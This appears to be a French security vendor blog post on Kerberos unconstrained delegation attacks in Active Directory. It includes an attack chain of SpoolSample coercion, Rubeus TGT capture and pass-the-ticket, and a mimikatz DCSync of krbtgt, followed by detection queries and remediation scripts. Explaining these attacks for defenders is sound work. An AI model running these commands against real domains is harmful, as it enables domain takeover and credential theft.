🏢Active DirectoryComputersKerberosAttack Paths

Attaques de Délégation Kerberos : De la Délégation Non Contrainte à l'Abus RBCD

La délégation Kerberos non contrainte permet aux attaquants de capturer les TGTs des Contrôleurs de Domaine et d'escalader vers un contrôle total du domaine. Apprenez comment ces attaques fonctionnent et comment les corriger.

ES
EtcSec Security Team
4 min read
Attaques de Délégation Kerberos : De la Délégation Non Contrainte à l'Abus RBCD

Qu'est-ce que la Délégation Kerberos ?

La délégation Kerberos permet à un service de s'authentifier auprès d'autres services au nom d'un utilisateur. Il existe trois types de délégation Kerberos, chacun avec des implications de sécurité très différentes :

  • Délégation Non Contrainte — le service peut se faire passer pour n'importe quel utilisateur auprès de n'importe quel service du domaine
  • Délégation Contrainte — le service ne peut se faire passer pour des utilisateurs qu'auprès de services spécifiques prédéfinis
  • Délégation Contrainte Basée sur les Ressources (RBCD) — la ressource cible contrôle qui peut déléguer vers elle

La délégation non contrainte est la configuration la plus dangereuse dans Active Directory après un Golden Ticket. Elle est trivialement exploitable et mène directement à Domain Admin.


Comment ca Fonctionne

Quand un utilisateur s'authentifie auprès d'un service configuré pour la délégation non contrainte, le KDC inclut une copie du TGT complet de l'utilisateur dans le ticket de service. Si un attaquant compromet une machine avec délégation non contrainte et peut forcer un Contrôleur de Domaine à s'y authentifier, il capture le TGT du DC — ce qui donne accès de niveau Domain Admin.

La technique pour déclencher l'authentification du DC est appelée printer bug ou SpoolSample.


La Chaine d'Attaque

Etape 1 - Trouver les Machines avec Délégation Non Contrainte

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
    Where-Object {$_.Name -notlike "*DC*"} |
    Select-Object Name, TrustedForDelegation

Etape 2 - Compromettre la Machine Déléguée

L'attaquant compromet la machine avec délégation non contrainte. Il contrôle désormais une machine qui collecte des TGTs.

Etape 3 - Forcer l'Authentification du DC (Printer Bug)

# SpoolSample — forcer le DC à s'authentifier auprès de la machine de l'attaquant
SpoolSample.exe DC01.corp.local SERVEUR-COMPROMIS.corp.local

Etape 4 - Capturer le TGT du DC et Escalader

# Sur la machine compromise — capturer le TGT du DC depuis la mémoire
Rubeus.exe monitor /interval:5 /filteruser:DC01$

# Une fois capturé, utiliser le TGT pour DCSync
Rubeus.exe ptt /ticket:doIFXDCCBVig...
lsadump::dcsync /domain:corp.local /user:krbtgt

Détection

Event IDs Windows

Event IDSourceCe qu'il faut surveiller
4769DC - SecurityTicket de service demandé pour un compte DC depuis une source inattendue
4624Serveur déléguéConnexion réseau (Type 3) depuis le compte machine DC
5145Serveur cibleAccès au partage réseau — accès au pipe spoolss depuis une coercition DC

💡 Conseil : Désactivez le service Print Spooler sur tous les Contrôleurs de Domaine. Il n'est pas nécessaire sur les DCs et son suppression élimine le principal vecteur de coercition.

Requete SIEM (Elastic KQL)

event.code: "4769" AND
winlog.event_data.ServiceName: "*$" AND
winlog.event_data.TargetUserName: (*DC* OR *DOMCON*)

Remédiation

⚠️ Critique : La délégation non contrainte sur tout serveur autre que les Contrôleurs de Domaine est une mauvaise configuration critique. Remplacez par la délégation contrainte ou RBCD immédiatement.

1. Supprimer la Délégation Non Contrainte

Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
    Where-Object {$_.Name -notlike "*DC*"} | ForEach-Object {
        Set-ADComputer -Identity $_ -TrustedForDelegation $false
        Write-Host "Corrigé : $($_.Name)"
    }

2. Désactiver le Print Spooler sur les DCs

Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
    Stop-Service -Name Spooler -Force
    Set-Service -Name Spooler -StartupType Disabled
}

3. Auditer les Configurations RBCD

Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
    Where-Object {$_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null} |
    Select-Object Name

Comment EtcSec Détecte Cela

UNCONSTRAINED_DELEGATION identifie tous les ordinateurs et comptes de service non-DC configurés avec la délégation non contrainte.

CONSTRAINED_DELEGATION signale les paramètres de délégation contrainte mal configurés.

RBCD_ABUSE détecte les ordinateurs où l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity est configuré de façon à permettre une escalade de privilèges.

ℹ️ Note : EtcSec audite tous les paramètres de délégation automatiquement lors de chaque scan AD. Lancez un audit gratuit pour identifier les mauvaises configurations de délégation.

Articles connexes : Golden Ticket : Les Clés de Votre Domaine | Kerberoasting

EtcSec

© 2026 EtcSec. All rights reserved.

Attaques Délégation Kerberos : Non Contrainte à RBCD | EtcSec — EtcSec Blog | EtcSec